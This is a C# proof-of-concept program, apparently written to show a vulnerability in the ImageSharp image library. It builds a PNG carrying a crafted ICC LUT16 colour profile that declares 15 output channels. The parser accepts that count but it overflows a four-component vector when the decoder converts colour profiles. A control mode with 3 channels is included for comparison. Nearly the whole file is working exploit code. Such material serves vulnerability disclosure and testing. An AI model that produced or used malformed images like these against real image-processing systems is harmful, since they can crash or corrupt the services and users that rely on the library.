using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;

static class Program
{
    private static void U32(Stream stream, uint value)
    {
        Span<byte> bytes = stackalloc byte[4];
        BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
        stream.Write(bytes);
    }

    private static void U16(Stream stream, ushort value)
    {
        Span<byte> bytes = stackalloc byte[2];
        BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
        stream.Write(bytes);
    }

    private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));

    // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control
    // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.
    private static byte[] BuildIcc(int outCh)
    {
        const int inCh = 3;
        const int clutPoints = 2;
        const int tableEntries = 2;
        using var stream = new MemoryStream();

        byte[] header = new byte[128];
        BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
        Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device
        Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
        Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
        stream.Write(header);

        U32(stream, 1);                 // one tag
        stream.Write(Encoding.ASCII.GetBytes("A2B0"));
        long offsetField = stream.Position; U32(stream, 0);
        long sizeField = stream.Position; U32(stream, 0);
        long tagStart = stream.Position;

        stream.Write(Encoding.ASCII.GetBytes("mft2"));
        U32(stream, 0);
        stream.WriteByte(inCh);
        stream.WriteByte((byte)outCh);
        stream.WriteByte(clutPoints);
        stream.WriteByte(0);
        for (int y = 0; y < 3; y++)
        {
            for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D);
        }

        U16(stream, tableEntries);
        U16(stream, tableEntries);
        for (int channel = 0; channel < inCh; channel++)
        {
            U16(stream, 0); U16(stream, ushort.MaxValue);
        }

        for (int point = 0; point < 8; point++)
        {
            for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000);
        }

        for (int channel = 0; channel < outCh; channel++)
        {
            U16(stream, 0); U16(stream, ushort.MaxValue);
        }

        long tagEnd = stream.Position;
        byte[] result = stream.ToArray();
        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);
        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));
        BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);
        return result;
    }

    private static byte[] BuildPng(byte[] icc)
    {
        using var source = new Image<Rgb24>(16, 16);
        source.Metadata.IccProfile = new IccProfile(icc);
        using var encoded = new MemoryStream();
        source.SaveAsPng(encoded);
        return encoded.ToArray();
    }

    public static int Main(string[] args)
    {
        string mode = args.Length == 1 ? args[0] : "exploit";
        if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
        int outputChannels = mode == "exploit" ? 15 : 3;
        Console.WriteLine($"mode={mode} output_channels={outputChannels}");
        Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
        Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
        byte[] png = BuildPng(BuildIcc(outputChannels));
        Console.WriteLine($"png_bytes={png.Length}");
        var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };
        using Image image = Image.Load(options, png);
        Console.WriteLine("decode_completed");
        return 0;
    }
}